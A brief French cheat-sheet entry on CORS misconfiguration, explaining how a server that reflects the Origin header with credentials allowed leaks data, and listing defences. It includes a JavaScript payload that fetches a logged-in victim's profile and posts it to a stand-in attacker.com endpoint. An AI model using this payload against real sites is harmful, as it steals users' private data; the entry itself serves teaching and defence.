CORS — Mauvaise configuration cross-origin

Cross-Origin Data leak

Misconfiguration et exploitation

# Si le serveur réfléchit l'Origin sans validation :
# Requête : Origin: https://attacker.com
# Réponse : Access-Control-Allow-Origin: https://attacker.com
#            Access-Control-Allow-Credentials: true

<!-- Exploiter depuis attacker.com -->
fetch("https://api.target.com/user/profile", {credentials: "include"})
  .then(r => r.json())
  .then(d => fetch("https://attacker.com/steal", {method:"POST", body:JSON.stringify(d)}))

Défenses

Whitelist explicite des origines (pas de réflexion auto) · Ne jamais retourner * avec Credentials: true · Cookies SameSite=Strict